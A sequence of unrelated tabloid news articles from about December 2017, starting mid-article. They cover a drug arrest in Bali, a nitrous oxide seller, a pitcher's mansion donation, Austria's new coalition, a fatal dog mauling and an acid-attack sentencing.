Ivanka dinged Democrats the administration had attempted to bring on board for standing in the way of the bill's passage, responding to a prompt from Fox & Friends host Steve Doocy.

'We've had a lot of very productive conversations with Democrats, who I believe are intellectually there, their hearts are there, but the party is not there, and the leadership's not there. And that is unfortunate,' she said.

'But I'm hopeful with this really enormous and this win for the American people, we come into 2018 with such tremendous momentum that we galvanize support and cohesion, not only within the party.'
An Australian man facing the death penalty in Bali after being caught with 19.97 grams of crystal meth and ecstasy pills was once a high-flying accountant from Queensland who even ran for parliament.

Isaac Emmanuel Roberts, born in Toowoomba, south Queensland, was allegedly caught with the drugs hidden in his suitcase on December 4, but his arrest was kept hidden from the public until now.

The 35-year-old chartered accountant confessed to being a prolific drug user and told waiting media he was a 'f***ing addict', but alleges he is not a dealer.

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Isaac Emmanuel Roberts, (pictured) born in Toowoomba, south Queensland, was allegedly caught with the drugs hidden in his suitcase on December 4, but his arrest was kept hidden from the public until now

The 35-year-old chartered accountant (right) confessed to being a prolific drug user and told waiting media he was a 'f***ing addict', but alleges he is not a dealer

Roberts ran as a Liberal Democrat candidate in the seat of Higgins in Melbourne in 2009. He was unsuccessful, polling eighth out of 10 candidates.

His social media accounts reveal the alleged drug user to be a dedicated gym junkie who regularly visits the Indonesian island and Thailand.

Pictures on his Instagram show his frequent travels to Asian destinations such as Sukhumvit in Bangkok, Thailand.

Roberts was travelling from Bangkok into Bali when he was allegedly caught with the drugs.

He works as a professional accountant and was last registered as an employee of M-Tax Accountants in Queensland.

His career in accounting has taken him to Brisbane, Sydney and Melbourne.

Shocking photographs surfaced on Tuesday showing him sitting in a media conference wearing orange prisoner garb and a black balaclava over his head.

Roberts (right) works as a professional accountant and was last registered as an employee of Tax Accountants in Queensland.

Roberts (pictured), was reportedly arrested after officials found the drugs in his luggage on December 4 this year

He was pictured beside two other suspects guarded by police officers who wore balaclavas and carried rifles.

Roberts was allegedly found with 6.22 grams of ecstasy, 14.32 grams of methamphetamine and 22 mils of a psychotropic substance.

Details of his arrest were kept secret until Tuesday, when the drug bust was announced by Indonesian officials.

'We have arrested an Australian, IER, for bringing drugs into Bali,' Customs and Excise Officer Husni Syaiful said.

Roberts (pictured) reportedly arrived in Bali on a Thai Airways flight from Bangkok on December 4

Roberts (pictured) was allegedly found with 6.22 grams of ecstasy, 14.32 grams of methamphetamine and 22 mils of a psychotropic substance

Roberts reportedly arrived in Bali on a Thai Airways flight from Bangkok on December 4.

The drugs were allegedly discovered when his luggage was X-rayed.

Indonesia carries the maximum death penalty for drug importation crimes.

Speaking to media after the conference, Roberts reportedly said he was invited to Indonesia by a customs officer.

'I was working with a customs officer and they knew I was going to bring something,' he told reporters in Bali.

Roberts (pictured) reportedly arrived in Bali on a Thai Airways flight from Bangkok on December 4

Isaac Roberts is escorted by officers, followed by media, at the customs office in Kuta, Bali

Isaac Roberts escorted by armed police officers from the media conference on Tuesday

'I'm just a f*****g addict. They want to waste resources on addicts, they want to punish addicts? This is ridiculous. What about the f..g importers? I wasn't going to sell it to anyone here, no one was going to use it here. This is ridiculous. This is an embarrassment.'

Indonesian police alleged Roberts admitted to being a drug user, but denied he was a dealer.

Roberts is being held in jail at police headquarters in Denpasar, Indonesia.

When the police investigation is finished, he will reportedly be transferred to Kerobokan prison - where he will await trial.

Speaking to media after the conference, Mr Roberts (pictured) reportedly said he was 'just a f*****g addict'

A Malaysian man, initials given as CHJ (left) and a US man, initials given as KSL (right) were also arrested after allegedly caught with a small amount of drugs in their possession

Anti-Narcotics Agency officials show an Australian man (second from left), an American man (centre), and a Malaysian man (second from right)

The men arrested were allegedly caught with the drugs including methamphetamine, in their possession

Roberts describes himself as a Chartered Accountant and Registered Tax Agent on his personal website.

'I specialise in personal income tax returns, however years of experience in corporate tax have given me the confidence to service many business clients,' he said.
A Queensland mother claims she broke into the home to confront the man who sold her 19-year-old son 'nangs'.

Meg Sartor told the Gold Coast Bulletin her son was left with 'permanent brain damage' after the drug dealer sold him the nitrous oxide canisters.

'He's a little weedy guy cashing in on vulnerable people and he's proud of it,' she said.

'I will protect my four kids until they take their last breath. I would happily go to jail to take down a kingpin.'

The 42-year-old said her son was sacked from his construction job last week and had so much brain damage after inhaling up to 300 nangs a week, it was like talking to a dementia patient.

A Queensland mother has broken into the home to confront who she believes is her 19-year-old son's drug dealer (pictured)

'I'm watching my son self-destruct to a legal drug. Not only is it ruining my child's life, I can't imagine how many other parents are out there feeling the same way,' she said.

The 24-hour 'nang' deliveryman has found a loophole in the legal system where the whipped cream canisters are completely legal to sell, despite causing a number of serious health issues including brain damage.

Jayson, using a pseudonym, claims to sell up to 6,000 canisters of the nitrous oxide gas every day to parties across the Gold Coast.

He runs the fledgling empire from his flat with hundreds of boxes piled high ready to be packed up and couriered to revellers.

His website Charger Supply sells canisters, marketed as 'whipped cream chargers', staring at $2 each up to a pack of 300 for $230.

The young man pays about 4550 cents a nang but hopes to grow his business enough to buy $10,000 worth at once for just 25c each.

On the slowest night he'll sell 400 canisters, but every Friday or Saturday night the jumps to 6,000 and 10,000 every week during schoolies, he told Vice.

The legal laughing gas is used to whip cream but is increasingly used as a party drug giving a quick high but has been linked to brain and nerve damage (stock image)

Jayson said the Gold Coast was 'manufactured as a playground for adults' with thousands potential customers coming into town ready to party.

The legal laughing gas is used to whip cream but is increasingly used as a party drug giving a quick high but has been linked to brain and nerve damage.

Jayson is fanatical about staying on the right side of the law - refusing to sell to anyone under 18 and referring to anyone inhaling it as 'misusing' the product.

Customers even sign a waiver reading: 'I am only going to use the products I have received in accordance with the manufacturer's instructions as displayed on the box or packaging... I do not intend on inhaling this product.'

The website and its Facebook page even appear to imply his supplies would be used for erotic whipped cream sexual escapades.

'Late night whipped cream charger supply for catering emergencies or other late night/bedroom whipped cream activities,' it reads.

Right now he packs every order and delivers them on his motorbike, but hopes to next year hire employees and open franchises in other cities.

'I wouldn't be Australia's first nang millionaire. I know there's someone [selling] who is making $25,000 a month in Melbourne,' he said, covering his face with a scarf.

Jayson said the health risks of nangs were vastly overblown and another legal drug, alcohol, was responsible for far more carnage.

'There's only been one death in Australia related to the use of nitrous oxide, and that's been because of the failure of a tool,' he said.
Texas Rangers pitcher Cole Hamels wasn't able to move into his dream Missouri mansion- so he gave it to a children's charity just in time for Christmas.

Hamels, 33, and his wife, Heidi, announced Monday they are donating their $9.75million mansion and 100 acres of land in southwest Missouri to a charity that provides camps for children with special needs and chronic illnesses and their siblings.

The 32,000-square foot home will be donated to Camp Barnabas.

'Seeing the faces, hearing the laughter, reading the stories of the kids they serve; there is truly nothing like it,' Hamels said in a release from Hamels Foundation. 'Barnabas makes dreams come true, and we felt called to help them in a big way.'

Texas Rangers pitcher Cole Hamel donated this $9.75million Missouri mansion and over 100-acres of land to Camp Barnabas

Camp Barnabas provides for children with special needs, chronic illnesses and their siblings

The estate also boasts over 1,700 feet of waterfront complete with these docks perfect for campers

Docks, a massive playground, and even stables are located on the more than 100-acre estate

The mansion and land is near Table Rock Lake near Reeds Springs. Heidi grew up in Buffalo, Missouri.

The Springfield News-Leader reports an attorney for the couple said they thought the mansion would be their dream home.

The unfinished home has 10-bedrooms, 19-bathrooms and sits on a lake in the Ozark mountains.

The massive property boasts more than 1,700 feet of shoreline along Table Rock Lake.

When Hamels was traded to the Rangers, they moved to Texas and never moved into the Missouri house.

The Hamels started to build the mansion in 2012 and listed it in August of this year, although it is unclear when they took the mansion off the market.

Charitable: Heidi and Cole Hamels gave up the dream home when he was traded to Texas

'Our mission is to change lives through disability ministry, and we've been strategically looking for ways to expand our ministry outside of a summer camp,' said Jason Brawner, CEO of Camp Barnabas. 'We have no doubt this gift will allow us to do just that.'

The donation is said to be the largest in the history of Camp Barnabas.

Hamels has a $22.5million salary with the Rangers.

Before the Rangers, Hamels played for the Philadelphia Phillies from 2006 to 2015.

Cole married his wife Heidi (nee Strobel) on December 31, 2006, and have two biological children together. Caleb Michael was born in 2009 and their second son Baxter was born in 2011.

In 2012 Cole and Heidi adopted a baby girl from Ethiopia named Reeve.
A body has been found following the disappearance of a man who went missing after jumping off a bridge in New South Wales.

Emergency services were called to the scene at Como Railway Bridge, north of Como Marina, about 1.35pm Tuesday, following accounts a 23-year-old person was in trouble in the water.

Police announced they had found a body they believe to be the man on Tuesday afternoon just after 4pm.

An extensive search is underway at Como Railway Bridge in south Sydney after reports a 23-year-old man jumped into the water but had failed to resurface

Officers from the Sutherland Local Area Command and the Marine Area Command with the assistance of NSW Ambulance paramedics and the Ambulance Rescue helicopter have been searching for the man.

A report will be prepared for the coroner, and police are asking anyone with more information to come forward.

New South Wales Ambulance told Daily Mail Australia that six ambulance crews were on the scene, as well as a rescue helicopter and special operations unit.

Police were told a number of local people had been jumping off the bridge when the man went missing.

A search and rescue operation was underway, with police from Sutherland and the Marine Area Command also involved.

Police are urging anyone with information in relation to this incident to call Crime Stoppers on 1800 333 000.
Matt Damon waded into the sexual misconduct debate again on Friday

Matt Damon has waded into the debate over sexual harassment once again, complaining that men in Hollywood who aren't predators don't get enough credit.

'We're in this watershed moment, and it's great, but I think one thing that's not being talked about is there are a whole s**tload of guys - the preponderance of men I've worked with - who don't do this kind of thing and whose lives aren't going to be affected,' Damon told Business Insider on Monday while promoting his upcoming movie, Downsizing.

'I don't do that, and most of the people I know don't do that,' he said.

Damon added that he would have second thoughts about working on a project with someone under the cloud of allegations, saying: 'I mean, I wouldn't want to work with somebody who  life's too short for that.'

Damon made the remarks while promoting his new film Downsizing (pictured), opening Friday

'But the question of if somebody had allegations against them, you know, it would be a case-by-case basis. You go, "What's the story here?"'

Damon's sense of nuance on the question of the sexual misconduct scandals has already drawn fierce backlash in recent days.

In an interview last week, he said: 'I do believe that theres a spectrum of behavior, right? And were going to have to figure - you know, theres a difference between, you know, patting someone on the butt and rape or child molestation.'

'Both of those behaviors need to be confronted and eradicated without question, but they shouldnt be conflated, right?' he told ABC News' Popcorn With Peter Travers.

Those remarks drew scathing rebukes from his ex-girlfriend Minnie Driver and actress Alyssa Milano.

'Good God, seriously?' Driver tweeted in response to his claim.

Ex-girlfriend Minnie Driver unloaded on Damon for remarks he made last week

The mother-of-one said: 'You don't get to be hierarchical with abuse. And you don't get to tell women that because some guy only showed them their penis their pain isn't as great as a woman who was raped.'

Driver's career took off following the 1997 movie Good Will Hunting, written by Damon and Ben Affleck and produced by Harvey Weinstein, whose accusers launched the current wave of scandals sweeping Hollywood.

Milano piled on on Twitter, writing: 'Dear Matt Damon, Its the micro that makes the macro.'

'We are in a "culture of outrage" because the magnitude of rage is, in fact, overtly outrageous. And it is righteous.'

'We are not outraged because someone grabbed our asses in a picture. We are outraged because we were made to feel this was normal. We are outraged because we have been gaslighted. We are outraged because we were silenced for so long.'

Alyssa went on to compare the 'spectrum' to stages of cancer, in that some are more treatable than others but it's still the same disease.
Police have confirmed that a 22-year-old woman was mauled to death by her own pit bulls and reveal they found the dogs chewing on her rib cage.

Bethany Lynn Stephens was found dead in a 'grisly' scene on Thursday night, two days after she was last seen heading out to walk her dogs in the woods near her Goochland, Virginia home.

Friends of the victim had insisted that her beloved pets would never have killed her, saying the dogs would 'kill you with kisses', and suggesting Stephens could have been murdered.

But on Monday, Goochland County Sheriff James Agnew ruled out foul play, describing the horrific scene he and his officers found.

'Let me cut right to the chase, the most important detail that we did not release because we were worried about the well-being of the family is that in the course of trying to capture the dogs early Friday morning, we turned and looked I observed, as well as four other deputy sheriffs, the dogs eating the ribcage on the body,' Agnew told Pix 11. 'The injuries were very severe.'

Bethany Lynn Stephens (pictured with one of her killer dogs) was found dead in a 'grisly' scene on Thursday night, two days after she was last seen heading out to walk her dogs in the woods near her Goochland, Virginia home

Agnew, who said that Stephens had already been dead when they found her, also described the blood covered scene, but said investigators had ruled out widespread suggestions that she could have been killed by a bear or coyote.

'There was no evidence of any larger animal there,' Agnew said. 'The medical examiner made it pretty clear that it was not a large animal because the bite wounds didn't puncture her skull.

'There were also scratch marks consistent with a smaller animal than something like a bear.'

Agnew said that they also didn't believe she'd been killed by a person.

The medical examiner ruled out with 'complete certainty' sexual assault, adding that they were no strangulation marks on her body.

Goochland County Sheriff James Agnew (pictured) ruled out foul play, describing the horrific scene he and his officers found

Stephens' friend doesn't think the dogs would have attacked her, noting they slept in the bed with her at night. The friend said it looked like the dogs had escaped their kennels to help her

Stephens was 5-feet-1 and 125 pounds, weighing roughly the same amount as her dogs. The brindle-colored pit bulls were said to have been bred for fighting

Investigators had also spoken to witnesses and people known to Stephens, and 'people's movements... don't fit with that particular narrative.'

However, police are still investigating and are carrying out forensic tests.

Cops captured the dogs at the scene but the animals have since been euthanized, with the family's consent on Saturday.

'What I observed personally, it was in the community's best interest,' Agnew said. 'Once a dog tastes human flesh it is not safe to have that dog around humans.'

But not everyone has accepted the police's response.

The woman's father John (above) found her body two days after she went missing

Family, friends and colleagues at a dog training facility where Stephens worked, said the victim was experienced working with animals and the dogs were well socialized and passive.

Veterinary experts have also said that it's is extremely rare for a dog to just attack at random.

Sergeant Mike Blackwood revealed the dogs, which had lived inside with Stephens, had been a 'little bit neglected towards the end of this' after the 22-year-old left the dogs with her father who wasn't taking care of them.

Stephens would come home five times a week to see the dogs, which had been moved outside to a kennel and became increasingly isolated.

However, Agnew refuted rumors that the pit bulls had been used for fighting and said that while rare, such attacks on owners weren't unheard of.

'I don't want to disparage any particular breed but if you do the research you will find that many of them are perpetuated by pit bulls.'

The police said they had decided to share more details on the case because of the rampant rumors and theories spreading through their community in the wake of Stephens' death.

Stephens' friend, Barbara Norris, told NBC12 that she didn't believe the dogs would kill Stephens and that they slept in her bed at night.

'Those dogs would not attack her,' she said. 'They'd kill you with kisses.'

But Stephens' friend, Barbara Norris (above), does not believe the dogs would kill Stephens and thinks she was murdered. She said: 'Those dogs would not attack her. They'd kill you with kisses.'

Norris said that the dogs' kennels appeared to have been broken open, as if the dogs had escaped to help Stephens.

But the dogs  described as being 'very large, brindle-colored pit bull dogs'  were said to be aggressively guarding her body when Stephens' father came across them, according to Goochland County Sheriff James L. Agnew, the Richmond-Times Dispatch reported.

Initial medical examiner's reports indicated that Stephens, who stood 5-foot-1 and weighted 125 pounds, had defensive wounds on her hands and arms.

Her wounds, which also included puncture wounds in her skull, were consistent with having been mauled.

'The first traumatic injury to her was to her throat and face,' Agnew said, adding that, 'It appears she was taken to the ground, lost consciousness, and the dogs then mauled her to death.'

Authorities are continuing to investigate Stephens' death. Stephens (pictured with Great Dane, Drogo) showed no signs of homicide or strangulation, police said

Bethany Lynn Stephens, 22, was found mauled to death two days after having taken her dogs out for a walk. Her two pit bulls were found aggressively guarding her body in the woods

Agnew said that in his 'nearly 40 years in law enforcement, I've never seen anything quite like it.'

After discovering his daughter's body and the dogs guarding it, Stephens' father called 911.

It took the sheriff's deputies more than an hour to wrangle the dogs, which were said to weigh about as much as Stephens did.

Sheriff's deputies then collected more than 60 pieces of evidence from the scene of Stephens' death, which was covered with blood and shredded pieces of her clothing.

Agnew noted that Stephens' death was not a homicide and that there were no strangulation marks on her body. The investigation is said to be ongoing.
Asylum seekers will be forced to hand over their cash and mobile phones under a raft of tough new measures proposed by Austria's new far-right coalition.

The country's new government has pledged to stop illegal immigration, cut taxes and resist EU centralisation, and will be led by Chancellor Sebastian Kurz, at 31 the world's youngest leader.

Kurz's conservative People's Party (OeVP) and the far-right Freedom Party (FPOe) were sworn in yesterday amid protests in Vienna.

Under plans unveiled by the coalition, future migrants coming to the country will have their cash impounded if filing for asylum in Austria. The money would then be used to cover the legal costs of their procedures.

Austria's new government has pledged to stop illegal immigration, cut taxes and resist EU centralisation, and will be led by Chancellor Sebastian Kurz, at 31 the world's youngest leader. He is pictured yesterday with his girlfriend Susanne after being sworn in at a ceremony in Vienna

Under plans unveiled by the coalition, future migrants coming to the country will have their cash impounded if filing for asylum in Austria. The money would then be used to cover the legal costs of their procedures

Asylum seekers will also be forced to hand over their mobile phones to the authorities, which will read out all data to track their true identity and exact travel route, according to Austrian media.

The coalition's programme calls for a halt to 'illegal immigration' and to speed up the asylum process to deport those who are not accepted. Asylum is 'temporary protection' only.

Those 'refusing to integrate must expect sanctions' and 'parallel societies' must be prevented.

There will also be a stop to 'immigration into the social system'. Monthly payments to those with asylum and subsidiary protection will be cut to 365 euros plus an 'integration bonus' of 155 euros.

'We want to protect our homeland Austria as a liveable place with all its cultural assets. This includes deciding for ourselves who can immigrate and live with us and ending illegal immigration,' the plans state.

Last night, the United Nations' human right's chief has warned that the far-right tilt of Austria's new coalition government marks a 'dangerous development' in Europe.

Prince Zeid Ra'ad Al Hussein, the UN High Commissioner for Human Rights, said he is 'very worried' about the surge of the far right, and cautioned against 'the peddling of fear' in European politics.

As Chancellor Sebastian Kurz was sworn into power in Vienna yesterday, more than 2,000 people took part in demonstrations, brandishing placards such as 'refugees welcome' and 'Nazis out' and 'No Nazi pigs',

Austria's far-Right Freedom Party has been sworn in to power with the country's new conservative leader Sebastian Kurz, 31. He is pictured with his girlfriend Susanne Thier arriving for the inauguration in Vienna

Warning: Zeid Ra'ad Al Hussein, the UN High Commissioner for Human Rights, said he is 'very worried' about the surge of the far right in Austria

Anger: More than 2,000 people took part in demonstrations this morning, brandishing placards such as 'refugees welcome' and 'Nazis out' and 'No Nazi pigs'

Prince al-Hussein said that Kurz's decision to take hard-right position on things like immigration to gain support marked 'a dangerous development in the political life of Europe.'

The coalition between Kurz's conservative People's Party (OeVP) and the far-Right Freedom Party was agreed on Friday along with pledges to stop illegal immigration and resist EU centralisation.

It will be led by Kurz, who took over the OeVP in May and moved it to the right, securing his party first place in October elections. At 31, Kurz will be the world's youngest leader.

He said the new Austrian Chancellor Sebastian Kurz's decision to take hard-right position on things like immigration to gain support marked 'a dangerous development in the political life of Europe.'

A heavy police presence of about 1,500 officers, with helicopters overhead and water-cannon trucks at the ready, blocked off the area around the Hofburg palace.

Austrian president Alexander van der Bellen (right) and head of the People's Party Sebastian Kurz (left) sign contracts during the swearing-in ceremony of the new government in Vienna

The coalition will be led by Chancellor Sebastian Kurz (right), who took over the OeVP in May and moved it to the right, securing his party first place in October elections. At 31, Kurz will be the world's youngest leader

At one point police fired a smoke grenade when some protestors tried to break through a barricade.

At Kurz's side for the investiture by Austria's president in the Hapsburg dynasty's imperial palace in Vienna was FPOe chief Heinz-Christian Strache, 48, now vice-chancellor, and FPOe general secretary Herbert Kickl, the new interior minister.

Strache has said Islam 'has no place in Europe' and last year called German Chancellor Angela Merkel 'the most dangerous woman in Europe' for her open-door refugee policy.

On Sunday, Strache trumpeted to his 750,000 followers on Facebook that the new government would slash social benefits for asylum-seekers.

'It will no longer happen that migrants who have never worked here a single day or paid anything into the social system will get thousands of euros in welfare!' he said in a post that has gained 9,000 'likes'.

Austrian Chancellor Sebastian Kurz (left) stands next to vice-chancellor of the far-right Freedom Party Christian Strache during the inauguration ceremony of the new Austrian government at the Hofburg in Vienna, Austria

A heavy police presence of about 1,500 officers, with helicopters overhead and water-cannon trucks at the ready, blocked off the area around the Hofburg palace

Kickl is a former speechwriter for Strache's predecessor Joerg Haider, whose 2000 entry into government prompted an outcry and soul-searching in Europe that appear largely absent this time. Several hundred thousand people took to the streets on that occasion.

The FPOe also obtained the defence and foreign ministries, while the OeVP got finance, economy and justice amongst other portfolios, and will continue to handle EU affairs.

Both Kurz and Strache won over voters two months ago by stoking concerns about immigration after the record influx in 2015, mirroring elections elsewhere in Europe this year.

Geert Wilders' Freedom Party became the second-largest in The Netherlands, Marine Le Pen of France's National Front was in a runoff for the presidency and the Alternative for Germany entered the Bundestag.

But the FPOe is rare in western Europe in having translated success at the ballot box into real power.

At one point police fired a smoke grenade when some protestors tried to break through a barricade

A demonstrator with a banner reading 'Instead of tax cuts for the rich, work for all !' stands next to riot police during a protest against the new Austrian government

Demonstrators of the Socialist Youth waving red flags attend a protest against the new Austrian government near the presidential palace in Vienna

Speaking at a far-right congress in Prague on Saturday, Wilders said the FPOe's entry into government was 'an excellent result', while Le Pen called it 'very good news for Europe'.

'Every election demonstrates a form of rejection of the European Union,' Le Pen said, echoing the euro-scepticism shown by the FPOe in the past.

Both Kurz and Strache emphasised however on Saturday that Vienna would stay staunchly pro-EU and that their plans for more Swiss-style 'direct democracy' excluded a referendum on EU membership.

But Kurz said that during Austria's presidency of the EU, set for the second half of 2018, Vienna would press for Brussels to have less say in areas that he believes should be up to member states.

Kurz said he envisions an EU which should be 'stronger in big questions and which should step back on smaller issues'.

Kurz also said that Austria would not change its line on supporting EU sanctions on Russia imposed over Ukraine, even though the FPOe, like other far-right groups, wants them lifted.

But according to their joint programme, Austria will 'actively work' towards easing the sanctions 'in unison' with the rest of the EU.

In addition the new government's programme says that Austria will seek support to 'definitively' end Turkey's bid to join the EU, sparking anger on Sunday from Ankara.
A luxury car that was allegedly stolen from one of Melbourne's most exclusive suburbs five months ago has been found in the most bizarre place.

The white 2016 Mercedes-Benz C200 Coupe vanished from a home in February while the family were sleeping upstairs, according to Car Advice.

The brazen robbery saw the alleged thieves break into the double story house, steal the car keys, leaving a nearby wallet behind, before driving off in the near-new car.

A white 2016 Mercedes-Benz C200 Coupe (pictured) was allegedly stolen from a home in February

The car (pictured) was found more than 11,000 kilometres away in perfect condition in a workshop in Dubai by a passing Australian

However, the car was found more than 11,000 kilometres away in perfect condition in a workshop in Dubai.

Spotted by an Australian tourist, the stolen car still had its Victorian registration plates and original dealership frames displayed.

'While you can't register the car here, you can easily take it to Pakistan or India with duplicate papers and it's quite easy to register,' the person who found the missing car in July told Paul Maric.

'I thought it was very strange. You sometimes see British cars, but never cars from Australia.'

It is unclear how the thieves got the luxury car from the Melbourne home to the workshop in Dubai without pulling it apart.

Victoria Police arrested a 32-year-old Endeavour Hills man earlier this month over the alleged car theft.

Three other people have also been arrested by United Arab Emirates authorities according to 3AW.
The ex-boyfriend of Towie star Ferne McCann winked at his family as he was jailed for 20 years after he squirted acid across a packed nightclub dancefloor.

Arthur Collins, 25, hurled the corrosive liquid across the club in east London during a tit-for-tat gang war and later branded the crime 'a silly little mistake'.

The horrific incident left 22 innocent clubbers injured, several of whom confronted him in court, with one woman recalling the moment she felt her skin 'come off'.

Handing him a 25 sentence, which included an extended licence of five years, Judge Noel Lucas QC branded Collins a 'calculating liar'.

He also said Collins, the father of Miss McCann's baby daughter, has not shown the 'slightest remorse' after the 'deliberate and calculated attack'.

One of his victims, Sophie Hall, said those who were injured had 'been left with permanent scars for the rest of our lives' after the sentencing hearing.

Ferne McCann met up with TOWIE co-star James Argent yesterday ahead of the sentencing hearing on Tuesday

Arthur Collins, the drug dealing boyfriend of reality TV star Ferne McCann, injured more than 20 clubbers when he threw acid across a nightclub dancefloor

Arthur Collins (pictured with Ferne McCann) was jailed for 20 years after he hurled acid over innocent clubbers

Collins and McCann had been living the high life in the weeks before the attack. He was wearing the same 'Candy Killer' T-shirt he wore in this picture in the Middle East when he carried out the attack

Another victim, Lauren Trent, bravely described the harrowing moment she had to phone her parents on her birthday night out to tell them her skin was 'coming off'.

Collins, of Broxbourne, Hertfordshire, was convicted of five counts of causing GBH with intent and nine counts of assault occasioning ABH, relating to 14 revellers.

During the sentencing hearing at Wood Green Crown Court, the judge ruled that Collin was 'dangerous' - meaning he will serve at least two-thirds of the jail term.

His family wept and shouted 'love you, Arth' after the sentence was delivered by the judge. He winked at his family as he was led to the cells.

Judge Lucas said: 'Your case has attracted a great deal of public interest. This is because what you did at the Mangle club on Easter Sunday evening was a despicable act.

'The conclusion I have come to is that you deliberately carried strong acid into that club to use when the need arised. The CCTV showed the wholly cowardly nature of the attack.

'Mr Collins' contrived defence is in my judgment significant. It shows him to be an accomplished and calculating liar.'

Rejecting an apology in a letter by Collins, the judge said: 'It was a hollow sorry - not for what he had done, but for the effect of his actions.

'He has expressed not the least remorse for carrying and using a highly corrosive acid.

'The injuries must have been extremely painful and utterly terrifying.'

Lauren Trent (left) and Sophie Hall (right) were two of the victims and spoke following the sentencing

Miss Trent (pictured left after the sentencing hearing) was one of the clubbers injured and gave an emotional account of how her birthday night out turned to horror

The judge added: 'My very clear impression is that the security arrangements within the club venue were extremely poor.'

At his sentencing hearing on Tuesday, the court heard Collins had threatened a similar attack on a former partner's mother.

He received a caution for racially aggravated harassment for ringing the woman in the middle of the night and threatening her with an acid attack and to have her raped.

Collin's desperate lawyer used pics of victim on holiday to try and prove her life had 'returned to normality' One of Arthur Collin's victims has slammed the thug's lawyer for using her social media posts of her on holiday and doing yoga in a bid to show she had recovered from her injuries. Phoebe Georgiou was among those scarred for life after Collins threw acid across the dancefloor at Mangle E8 in east London. The 23-year-old was forced to undergo surgery and months of rehabilitation as a result of the attack. The acid attack left 22 clubbers, including Phoebe Georgiou (pictured), with injuries In a desperate bid to lessen her client's sentence, George Carter-Stephenson QC showed pictures of Phoebe with her family on a holiday to Greece. The barrister even used images from her social media of her practicing yoga, claiming that it showed how her life had returned 'to some normality'. She told The Sun: 'I felt quite violated when they brought up the yoga because that's been the main thing getting me through this. 'I felt so violated that they brought that up. What you put out on social media is you trying to be that confident girl.' During Collin's trial, Phoebe gave an impact statement and described to the court how she had been left in a hospital bed for weeks after the attack. 'I mourn the old Phoebe,' she said. 'The happy, confident young woman I once was. I grieve for her everyday. 'Physically and mentally I will never be the same. I have had to relive these harrowing moments daily. I was scared, traumatised and helpless. 'I thought my pain and suffering would never end. My entire summer was filled with trips to hospital and therapy treatment. I haven't stepped into a bar, club or even crowded space since that night. 'I have been given a life sentence because of you. But I am growing stronger every day.' She released these disturbing images to show the extent of the damage acid can do Advertisement

Rejecting a life sentence, although the attack was 'utterly despicable and life changing', the judge said 'no one was blinded permanently and life itself was not in danger'. But added extended sentence was 'necessary'.

Judge Lucas added: 'The carrying and use of corrosive fluid is now a significant and growing problem in London, and in particular in the east of London.

'I am quite satisfied the sentences I pass on Mr Collins will amply convey to the wider community the seriousness the courts will treat such offending.'

He said Collins had carried it out because of 'some minor perceived slight'.

Andre Phoenix, 21, of Tottenham, north London, was in the club and cleared of four counts of GBH with intent, four alternative counts of unlawfully inflicting GBH, and two counts of ABH.

Judge Lucas said: 'You crept around behind Mr Phoenix and deliberately threw what you knew to be strong acid directly towards Mr Brown's face.

'In throwing acid three times you displayed not the least concern for those on who the acid would land.' He said Collins knew 'precisely' the effects of strong acid.

Judge Lucas continued: 'Having thrown acid in the darkness of that club, you slunk away into the rear where you hid and pretended to be unconnected to the mayhem you caused.

'While making much of the harsh circumstances of your arrest, you have demonstrated not the least remorse.

'It was a deliberate and calculating act and you were intent on causing really serious harm to your victims.'

One of the victims, Sophie Hall, spoke outside court after the hearing and said her attacker has not shown 'any signs of remorse'.

She said: 'After the result today, I do feel like justice has been served. The last eight, nine months of our lives have been hell.

'Arthur didn't show any signs of remorse in court. His actions are something he is going to have to live with.

'And also the scars I have been left with are something I am going to have look at every time I look in the mirror; every time I get changed; every time I take my clothes off.

'We have been left with permanent scars for the rest of our lives. We were hoping for a life sentence. But I am very pleased with the sentence that he has received today.'

Lauren Trent was another one of the clubbers injured and gave an emotional account of how her birthday night out turned to horror in court.

Miss Trent told the court: 'It was 1.45am in the morning, that's the time my parents received a phone call from me. Imagine that phone call was your daughter on her 22nd birthday, and you were stuck two hours away in your home town.

'She tells you her skin is coming off in her hands from her neck. All she can see in the bathroom is people screaming.'

Addressing Collins as she fought back tears, Miss Trent added: 'I was celebrating my birthday that night when you threw acid across the dance floor.

'Forever my birthday will be the anniversary of the night I was involved in an acid attack.

'A place I should have been safe, and a place where hundreds of innocent people were that night.

'You changed not only my life, my best friend's life, my family, my friends and your life.'

She added: 'Just because my scars appear small to you or remain hidden, they are huge to me.'

Lauren Trent (left) was celebrating her birthday with her friend Sophie Hall (right in left hand photo). She was left with burns to her neck and chest and has called for a life sentence

Collins' claims he is broke are waved away by 'skeptical' judge Collins' lawyer told the court that he has no money to pay his victims compensation. He claimed he only had earnings of 7,000 last year. The court heard Collins had a lease on a Mercedes jeep despite being subject to a driving ban and owing 7,000 on his credit cards. He said he had no assets to pay compensation to his victims, but Judge Noel Lucas QC asked how he had been able to afford two hair transplants at a Harley Street clinic, remarking: 'I suspect it wasn't paid for by the NHS.' The judge added: 'If I sound skeptical of the information I'm being given, it's because I am. I don't believe a word of it.' Advertisement

Collins is the father of TOWIE star Ferne's newborn daughter, who was born during his trial. She claimed they will not visit him in prison.

He hurled the substance over a crowd at the Mangle E8 in Dalston, east London, on April 17.

The court heard Collins, who wore a t-shirt with 'CANDY KILLER' on, was celebrating his girlfriend's pregnancy at the Love Juice event, having told her family just hours before.

But he got into a row on the VIP dancefloor with three men at about 1am and sprayed acid at them three times, which splashed onto bystanders and burnt them.

Collins went on the run until April 22, when he was Tasered and arrested after jumping out of the first floor window of his Northamptonshire bolthole, fracturing both heel bones.

He claimed he thought it was a date rape drug which he snatched off another group, sparking a row.

But a week before, on April 10, he sent an iMessage to his sister Chenade Rowe saying: 'Tell mum to mind that little hand wash in my car acid.'

He claimed this was a reference to hair-thickening shampoo, which contained amino acid, which he disguised from Miss McCann.

Andre Phoenix, 21, of Tottenham (pictured), was cleared of four counts of GBH with intent, four alternative counts of unlawfully inflicting GBH, and two counts of ABH

In mitigation George Carter-Stephenson QC, defending, said Collins had played football for Colchester and Watford.

He added: 'Had his injury not occurred he may have had a career in football. But he went into the family business because he was no longer able to play.'

He said Collins had a 'very low' IQ and, referring to a psychologist's report, added: 'Mr Collins had enjoyed the thought of being with somebody in the public eye, but the reality of the situation was difficult for him.

'Especially given his relative naivety and cognitive ability. There may be a want to live up to what he should be in the public eye.'

